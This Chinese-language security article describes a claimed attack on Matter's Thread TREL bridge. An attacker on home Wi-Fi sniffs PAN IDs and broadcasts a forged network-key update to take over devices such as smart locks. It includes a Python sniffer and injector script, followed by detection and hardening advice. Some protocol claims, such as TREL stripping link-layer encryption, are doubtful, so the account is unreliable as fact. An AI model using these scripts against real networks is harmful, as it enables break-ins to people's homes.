摘要

Matter 协议通过 Thread 网络实现低功耗智能家居设备的互联,其中 TREL(Thread Radio Encapsulation Link)作为桥接技术,将 Thread 的 IEEE 802.15.4 帧封装为 UDP 包在 Wi-Fi 骨干网上传输。然而,TREL 未强制端到端加密,仅依赖 PAN ID 进行网络隔离,这为跨媒介的信任边界崩溃埋下了伏笔。攻击者可在 Wi-Fi 段部署伪 TREL 端点,拦截并注入“Update Key”广播消息,使全网络设备切换到攻击者已知的密钥,从而静默接管智能门锁、安防传感器等关键设备。

Thread 与 TREL

Matter 的分层架构与 Thread 的角色

Matter 是由 CSA(连接标准联盟)推出的统一智能家居应用层协议,工作在 IP 之上。

它依赖底层的网络传输协议,包括 Wi-Fi、Ethernet 以及 Thread。Thread 是一种基于 IEEE 802.15.4 的 IPv6 网状网络协议,专为低功耗、低带宽的 IoT 设备设计,支持自愈网状拓扑与休眠节点。在 Matter 架构中,Thread 通常负责连接门磁、运动传感器、智能门锁等电池供电设备,而 Wi-Fi 承载高带宽设备(如摄像头、语音助手)。

两种物理介质之间的互联通过 Thread Border Router(边界路由器)实现。Border Router 具备双栈能力:一方面作为 Thread 网络的 Leader 或 Router,另一方面通过 Wi-Fi 或以太网连接家庭局域网。它负责在两个网络之间转发 IPv6 包,使得手机 App 能够通过 Wi-Fi 控制 Thread 设备。

TREL

在 Thread 1.3 中引入了 TREL 作为可选的骨干网传输模式。TREL 的基本思想是:将整个 IEEE 802.15.4 MAC 帧封装在 UDP 包的有效载荷中,通过 Wi-Fi 或以太网在多个 Border Router 之间交换。这允许 Thread 网络的骨干段利用现有 IP 基础设施,而无需额外的 802.15.4 射频链路。

TREL 的数据包格式非常简单:

  • UDP 头:源端口和目标端口(通常为 19777)。
  • TREL Header:4 字节,包含 Channel、PAN ID、Frame Type 等字段。
  • 802.15.4 MAC 帧:完整封装的 Thread 网络层数据包,包括 MAC 头、网络头、传输层(UDP/TCP)以及应用层(CoAP/Matter)。

关键安全特征:Thread 网络内部的数据(802.15.4 帧)在单跳链路层使用 AES-128-CCM 加密,但 TREL 本身并未对这一层加密再做额外的端到端保护。这意味着,一旦加密的 802.15.4 帧被从 Thread 射频链路剥离并放入 TREL 隧道,它在 Wi-Fi 段即完全依赖于该网络自身的加密(如 WPA3),而 Wi-Fi 网络的安全状态对 Thread 网络来说是外部且不可控的。

TREL 桥接攻击的脆弱面

未强制端到端加密的信任空洞

Thread 网络的内部通信在链路层是加密的,但加密的范围仅限于两个直接通信的 Thread 节点之间的单跳。在多跳 Mesh 网络中,中间节点会解密再重新加密进行转发。在引入了 TREL 之后,链路层的加密在进入 IP 骨干网时被剥离——TREL 端点(Border Router)会用其 Thread 密钥解密 802.15.4 帧,提取 IP 包,再将其封装在 TREL UDP 包中发往另一个 Border Router。在这一过程中,原始 Thread 网络的链路层加密在 IP 骨干网上不复存在。

这就造成了一个信任黑洞:任何能够访问家庭 Wi-Fi 网络的攻击者,即使无法破解 Thread 的网状密钥,也可能在 IP 段嗅探到明文的 Thread 网络管理帧,或者直接注入恶意帧。

依赖 PAN ID 而非证书认证

TREL Header 中有一个 16 位的 PAN ID 字段,用于标识发送方所属的 Thread 网络。接收端 Border Router 仅根据此 PAN ID 判断该 TREL 包是否属于其管理的 Thread 网络——如果 PAN ID 匹配,则接受并进一步处理;若不匹配则丢弃。

然而,16 位的 PAN ID 具有有限的碰撞空间,而且在同一物理位置可能存在多个 Thread 网络。

攻击者可以轻易地在其恶意 TREL 包中设置正确的 PAN ID(可通过被动嗅探 Wi-Fi 获取),伪装成合法的 Border Router,向其他 Border Router 或直接向 Thread 节点注入数据。这里缺乏基于证书或预共享密钥的身份认证,仅依靠一个可嗅探的数值进行访问控制。

密钥更新消息的可注入性

Thread 网络定期或在特定事件(如设备离网、管理员触发)时更新其网络密钥(Network Key)。这一密钥更新通过 Commissioning Data 或 Key Update 消息在整个网络中传播。如果攻击者能够在 IP 骨干网上注入一个伪造的“Update Network Key”广播,声称来自 Commissioner 或 Leader,接收的 Thread 节点可能会应用该新密钥。一旦成功,攻击者便掌握了全网络的当前网络密钥,从而解密所有后续通信,甚至修改设备状态(例如解锁门锁)。

更为隐蔽的是,攻击者可以先在 Wi-Fi 侧注入此更新消息,覆盖所有通过 TREL 联网的 Thread 设备,随后断开局域网连接,让设备在失去连接后使用新密钥重新建立网络,而用户却完全不会察觉网络已被接管。

基于 OpenThread 的伪 TREL 注入器

攻击环境

  • 硬件:两块 nRF52840 Dongle(用作 Thread 设备和 Border Router 嗅探器)。
  • 软件:OpenThread 的修改版本,禁用常规 Thread 行为,仅作为 TREL 端点监听和注入。
  • 网络:受害家庭 Wi-Fi,其中一个 Border Router 连接 Thread 设备(例如智能灯泡)。

攻击者的 nRF52840 #1 嗅探 Wi-Fi 上的 TREL UDP 包,提取 PAN ID 和源/目标地址。nRF52840 #2 通过 Wi-Fi 注入伪造的 “Update Key” 消息,目标为全网络的广播地址。

嗅探与解析 TREL 包

#!/usr/bin/env python3
# trel_sniffer.py — 嗅探 Wi-Fi 上的 TREL UDP 包并提取网络信息
import socket
import struct

UDP_PORT = 19777

defparse_trel_header(data):
# TREL Header: Channel (2B) + PAN ID (2B) + Frame Type (1B) + Reserved (3B)
    channel, pan_id = struct.unpack_from('<HH', data, 0)
    frame_type = data[4]
return channel, pan_id, frame_type

defmain():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', UDP_PORT))

    print(f"[*] 监听 TREL 包,端口 {UDP_PORT}...")
whileTrue:
        data, addr = sock.recvfrom(65535)
if len(data) < 8:
continue
        channel, pan_id, frame_type = parse_trel_header(data)
        print(f"[+] 来自 {addr} 的 TREL 包: Channel={channel}, PAN=0x{pan_id:04X}, Type={frame_type}")
# 此处可进一步解析 802.15.4 帧获取网络密钥信息

if __name__ == '__main__':
    main()

说明:此脚本在 Wi-Fi 接口上监听 TREL UDP 广播,快速提取 PAN ID 和发送方地址,为后续注入提供必要信息。

注入伪造的 Key Update 消息

利用获取的 PAN ID,攻击者构造一个仿冒 Thread Leader 发出的 MGMT_UPDATE_KEY 请求,将其封装在 TREL 包中广播到 Wi-Fi。

# trel_injector.py — 通过 TREL 注入密钥更新消息
import socket
import struct
from scapy.all import *

UDP_PORT = 19777
BROADCAST_IP = '255.255.255.255'

defbuild_fake_key_update(pan_id, new_key):
# 构造一个简化的 Thread 网络层包,包含 Commissioning Data
# 此处省略完整的 802.15.4 + 6LoWPAN + UDP + CoAP 堆栈,用静态载荷代替
# 实际攻击中可基于 OpenThread 的库生成标准包

# 伪造的 CoAP 消息:POST /c/up (Key Update)
    coap_payload = b'\x44\x02'# CoAP 头部(简化)
    coap_payload += b'/c/up' + new_key  # 路径和密钥

# TREL Header: Channel 15, PAN ID, Frame Type 0 (Data)
    trel_header = struct.pack('<HH', 15, pan_id) + b'\x00\x00\x00\x00'

return trel_header + coap_payload

definject(pan_id, new_key):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)

    payload = build_fake_key_update(pan_id, new_key)
    sock.sendto(payload, (BROADCAST_IP, UDP_PORT))
    print(f"[+] 已向 PAN 0x{pan_id:04X} 注入密钥更新:{new_key.hex()}")

if __name__ == '__main__':
# 示例:将密钥改为全 0xAA
    inject(0x1234, bytes([0xAA]*16))

说明:一旦 Border Router 接收到此伪造的广播,其中的 CoAP 载荷可能被转发至 Thread 网络内部,导致设备执行密钥切换。攻击者可提前在 Wi-Fi 侧部署此注入脚本,在数秒内完成全网络接管。

接管后的静默控制

掌握网络密钥后,攻击者可以解密所有后续的 Thread 通信。使用 OpenThread 的 wpantund 工具配合注入的密钥,可以直接向设备发送 CoAP 控制指令(如开锁、撤防)。这一过程由于是在 Wi-Fi 侧注入密钥,完全绕过了 Thread 网络的物理安全假设(需要物理接近设备以进行射频通信),使得远程攻击成为可能。

检测与防御

检测方法

  • TREL 流量监控:在 Wi-Fi 路由器或 Thread Border Router 上监控 UDP 19777 端口的异常广播包。短时间内出现大量来自非信任 IP 的 TREL 包为攻击迹象。
  • 密钥变更告警:Thread 设备应记录每次网络密钥更新的时间、发起者,并通过 Matter 的报告机制将异常变更通知用户或管理中心。
  • 物理层 MAC 地址监控:记录每个 Thread 节点的长地址(EUI-64),若出现未知 MAC 地址却声称是 Leader,应立即隔离。

防御加固

  • TREL 端到端加密:Thread 规范应要求 TREL 使用与 Thread 网络密钥独立的 DTLS 隧道,强制在 Wi-Fi 段进行端到端认证和加密。
  • PAN ID 绑定证书:为每个 Thread 网络分配一个唯一的证书,在 TREL 初始化时进行相互认证,拒绝仅凭 PAN ID 接入的伪端点。
  • 密钥更新的多方确认:网络密钥更新不应仅由单条广播触发,应要求多个 Router 节点在收到更新后互相确认(例如通过基于阈值的共识),防止单点注入。
  • 网络隔离:将 Thread Border Router 的 Wi-Fi 接口划分到独立的 VLAN,与用户日常设备隔离,缩小攻击面。

结语

Matter 试图在纷繁的智能家居协议之上建立统一的信任体系,但 Thread TREL 的桥接机制却在物理层与 IP 骨干网的接缝处留下了一道信任真空。依赖 PAN ID 而非强身份认证、缺乏端到端加密的 TREL 隧道,使得 Wi-Fi 侧的任何攻击者都能跨越媒介边界,向 Thread 网络注入恶意指令。这种分布式信任的崩溃提醒我们:安全架构不仅要关注单条链路的加密,更需审视跨媒介数据交换的每一个网关与封装点。在 TREL 真正加固之前,每一个连入家庭 Wi-Fi 的智能灯泡,都可能正照见一座不设防的物联网城堡。